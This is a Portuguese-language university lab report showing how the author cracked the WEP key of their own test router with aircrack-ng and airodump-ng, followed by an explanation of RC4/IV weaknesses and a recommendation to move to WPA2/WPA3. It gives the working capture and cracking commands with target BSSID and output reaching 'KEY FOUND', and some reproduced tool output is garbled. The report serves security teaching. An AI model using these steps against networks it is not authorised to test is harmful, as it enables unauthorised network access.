Quebra de senhas com aircrack-ng

Juan Felipe Serafim dos Santos

¹ Centro de Informática
 Universidade Federal de Pernambuco (UFPE) – Recife, PE – Brazil

jfss@cin.ufpe.br

Resumo. A quebra de senhas refere-se ao processo de descobrir ou decifrar senhas com o objetivo de obter acesso não autorizado a sistemas, contas ou dados protegidos, utilizando métodos diversos como: ataque de força bruta, ataque de dicionario, interceptação do tráfego de rede, engenharia social, entre outras técnicas. No contexto de redes Wi-Fi, diz respeito ao processo de obtenção de acesso não autorizado a uma rede sem fio protegida por senha. Essa prática pode ser realizada de várias formas, dependendo da complexidade da senha, do sistema de autenticação adotado, do nível de proteção implementado ou se o alvo detém alguma vulnerabilidade inerente.

1. Objetivo

Nessa atividade, iremos utilizar o software aircrack-ng para invadir uma rede WEP. As redes WEP, sigla para *Wired Equivalent Privacy*, foi uma das primeiras medidas de segurança em acessos à redes *wireless*. Com o passar do tempo, vulnerabilidades foram detectadas e exploradas em seu algoritmo de encriptação, de tal forma que a segurança de rede foi completamente extinguida.

2. Como a ferramenta funciona

De acordo com a documentação do aircrack: "O Aircrack-ng pode recuperar a chave WEP assim que pacotes criptografados suficientes forem capturados com o airodump-ng. Esta parte do pacote aircrack-ng determina a chave WEP usando dois métodos fundamentais. O primeiro método é por meio da abordagem PTW (Pyshkin, Tews, Weinmann).

[...] O outro método, mais antigo, é o FMS/KoreK. O método FMS/KoreK incorpora vários ataques estatísticos para descobrir a chave WEP e os utiliza em combinação com força bruta. Ele requer mais pacotes que o PTW, mas, por outro lado, é capaz de recuperar a senha quando o PTW às vezes falha."

Então, vamos utilizar o pacote de ferramentas aircrack-ng. A tela inicial dele mostra um pouco dos parâmetros que serão utilizados.

```
Aircrack-ng 1.6 - (C) 2006-2020 Thomas d'Otreppe
https://www.aircrack-ng.org

usage: aircrack-ng [options] <input file(s)>

Common options:

-a <amode> : force attack mode (1/MEP, 2/WPA-PSK)
-e <essid> : target selection: network identifier
-b <bsid> : target selection: access point's MAC
-p <nbc/>
-p <nbc/>
-p <nbc/>
-p <nbc/>
-c = casid : target selection: access point's MAC
-p <nbc/>
-p <nbb/>
-p <nb
```

Figura 1. Tela de ajuda do aircrack-ng

Para o objetivo da quebra de senha, será necessário capturar uma quantidade considerável de pacotes que trafegarão entre o ponto de acesso e um determinado dispositivo final. Ainda assim, caso nenhum dispositivo esteja conectado a rede, é possível forçar um tráfego de pacotes entre o ponto de acesso e a máquina atacante, para assim capturar os pacotes necessários.

Para armazenar os pacotes, utilizaremos a ferramenta airodump, incluída no pacote aircrack-ng.

Figura 2. Tela de ajuda do airodump-ng

Figura 3. Funcionamento do airodump-ng

A configuração atual da rede vulnerável é a seguinte:

Você pode configurar o número mínimo de configurações sem fio para comunicação, como SSID e Canal. O dispositivo pode s definido simplesmente com itens definição só o mínimo .		
WiFi On/Off	Habilitar	•
Nome da Rede(SSID)	2302-2.4G	
Banda	2.4 GHz (B+G+N)	-
Broadcast SSID	Habilitar	-
Região	Brasil	-
Canal	Auto	•
Largura de banda do canal	Auto	-
Criptografia	WEP-Chave compartilhad	le.
Tipo de Criptografia	WEP64	-
Formato da Chave	ASCII	-
Senha	12345	

Figura 4. Parâmetros da rede Wi-Fi a ser atacada

Será feita a captura de pacotes da rede vulnerável via airodump-ng com os seguintes parâmetros: —channel 1 –ivs –bssid 14:4D:67:75:0D:70 -w wep wlp1s0mon

Onde:

- channel: número do canal em que a rede vulnerável se encontra.
- bssid: endereço MAC da rede alvo
- w: escrever em um arquivo
- ivs: flag para indicar que seja salvo no arquivo somente os *Vetores de inicialização*

```
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

14:4D:67:75:0D:70 -27 100 5859 94909 8 1 54e. WEP WEP 2302-2.4G

BSSID STATION PWR Rate Lost Frames Notes Probes

14:4D:67:75:0D:70 7E:F1:7E:0C:FB:48 -44 0 - 1 0 128 2302-2.4G

14:4D:67:75:0D:70 DE:B0:AA:FD:20:77 -46 54e- 1 165 98057
```

Figura 5. Capturando pacotes da rede Wi-Fi a ser atacada

Nesse momento, os IVs estão sendo salvos no armazenamento interno do dispositivo atacante e, enquanto o armazenamento ocorre, é possível verificar se, com a quantidade de IVs disponíveis, qual valor da senha da rede Wi-Fi.

Executando o aircrack com os parâmetros -b 14:4D:67:75:0D:70 wep-01.ivs Onde:

- b: BSSID da rede alvo.
- wep-01.ivs: arquivo com os vetores de inicialização.

```
Alrcrack-ng 1.6

[00:00:01] Tested 574717 keys (got 1800 IVs)

KB depth byte(vote)
0 35/ 36 E5(2560) 0F(2304) 10(2304) 2F(2304) 3D(2304) 40(2304) 46(2304) 55(2304) 5A(2304) 74(2304) 77(2304)
1 15/ 18 11(3072) 35(2816) 40(2816) 4F(2816) 59(2816) 5A(2816) 66(2816) 7E(2816) B1(2816) B7(2816) 62(816)
2 10/ 2 DD(3072) 58(2816) 50(2816) 62(2816) 68(2816) 88(2816) 95(2816) 96(2816) AF(2816) AF(2816) 13 12/ 13 1E(3072) 08(2816) 10(2816) 15(2816) 12(2816) 13(2816) 5A(2816) 5A(2816) F(2816) 13(2816)
4 14/ 4 DA(3072) 23(2816) 47(2816) 52(2816) 56(2816) 5F(2816) 73(2816) 85(2816) 8C(2816) 98(2816) AS(2816)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )

Decrypted correctly: 100%
```

Figura 6. Ataque concluído e recuperação completa de senha

3. Análise da vulnerabilidade

A vulnerabilidade das redes WEP é principalmente relacionada ao seu algoritmo de encriptação, o RC4. A segurança da rede utiliza a cifra citada anteriormente, combinado com uma chave estática (de 40 ou 104 bits) e um vetor de inicialização (IV) de apenas 24 bits. O problema é que o tamanho reduzido do IV faz com que ele se repita rapidamente, especialmente em redes com muito tráfego. Como o IV é transmitido em *plaintext* nos pacotes, um atacante pode capturar milhares ou milhões de pacotes para analisar os padrões de repetição dos IVs com os métodos FMS e/ou PTW.

4. Sugestão de defesa

Alterar imediatamente o protocolo de encriptação da rede para um dos mais recentes como o WPA2 e WPA3. Tais cifras tem procedimentos distintos aos da rede WEP e (ainda) não foram descobertas vulnerabilidades latentes.

Referências

- (2019). Documentação aircrack-ng. https://www.aircrack-ng.org/doku.php?id=aircrack-ng.
- Erik Tews, A. P. and Weinmann, R.-P. (2007). aircrack-ptw. https://web.archive.org/web/20070714194826/http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/.
- Stubblefield, A. Ioannidis, J. e. R. A. (2001). Using the fluhrer, mantin, and shamir attack to break wep. https://download.aircrack-ng.org/wiki-files/doc/using_FMS_attack.pdf.